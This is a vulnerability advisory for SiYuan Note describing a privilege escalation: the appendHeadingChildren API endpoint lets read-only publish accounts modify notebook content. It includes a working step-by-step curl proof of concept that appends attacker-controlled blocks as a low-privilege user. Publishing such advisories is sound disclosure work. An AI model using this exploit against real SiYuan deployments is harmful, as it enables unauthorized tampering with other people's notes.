SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren in github.com/siyuan-note/siyuan/kernel

Open Source Vulnerabilities GHSA-f9cq-v43p-v523

### Summary A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint. The endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents. This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes. ### Details File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code: ``` - router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren) - api/block.go: model.AppendHeadingChildren(id, childrenDOM) - model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation) - session.go: CheckAuth accepts RoleReader as authenticated ``` Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes. ### PoC 1. Enable publish service and create low-privilege account ``` curl -u workspace:<ACCESS_AUTH_CODE> \ -H "Content-Type: application/json" \ -d '{ "enable": true, "port": 6808, "auth": { "enable": true, "accounts": [ { "username": "viewer", "password": "viewerpass" } ] } }' \ http://127.0.0.1:6806/api/setting/setPublish ``` 2. Create a test notebook and document (admin) ``` curl -u workspace:<ACCESS_AUTH_CODE> \ -H "Content-Type: application/json" \ -d '{"name":"AuditPOC"}' \ http://127.0.0.1:6806/api/notebook/createNotebook ``` Create a document containing a heading: ``` curl -u workspace:<ACCESS_AUTH_CODE> \ -H "Content-Type: application/json" \ -d '{ "notebook":"<NOTEBOOK_ID>", "path":"/Victim", "markdown":"# VictimHeading\n\nOriginal paragraph" }' \ http://127.0.0.1:6806/api/filetree/createDocWithMd ``` 3. Retrieve heading block ID (low-priv publish account) ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \ http://127.0.0.1:6808/api/query/sql ``` Example response: ``` { "id":"20260307093334-05sj7bz", "root_id":"20260307093334-vsa6ft0" } ``` 4. Generate block DOM ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"dom":"<p>InjectedByReader</p>"}' \ http://127.0.0.1:6808/api/lute/html2BlockDOM ``` 5. Append block using the vulnerable endpoint ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{ "id":"20260307093334-05sj7bz", "childrenDOM":"<div ...>InjectedByReader</div>" }' \ http://127.0.0.1:6808/api/block/appendHeadingChildren ``` Server response: ``` {"code":0} ``` 6. Verify unauthorized modification ``` curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \ http://127.0.0.1:6808/api/query/sql ``` Result includes attacker-controlled content: ``` InjectedByReader ``` This confirms that the low-privilege publish user successfully modified the document. ### Impact This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content. Potential impacts include: • Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

Open Source Vulnerabilities GO-2026-4658

SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren in github.com/siyuan-note/siyuan/kernel

Open Source Vulnerabilities CVE-2026-30926

SiYuan is a personal knowledge management system. Prior to 3.5.10, a privilege escalation vulnerability exists in the publish service of SiYuan Note that allows low-privilege publish accounts (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint. The endpoint requires only the model.CheckAuth role, which accepts RoleReader sessions, but it does not enforce stricter checks, such as CheckAdminRole or CheckReadonly. This allows remote authenticated publish users with read-only privileges to append new blocks to existing documents, compromising the integrity of stored notes.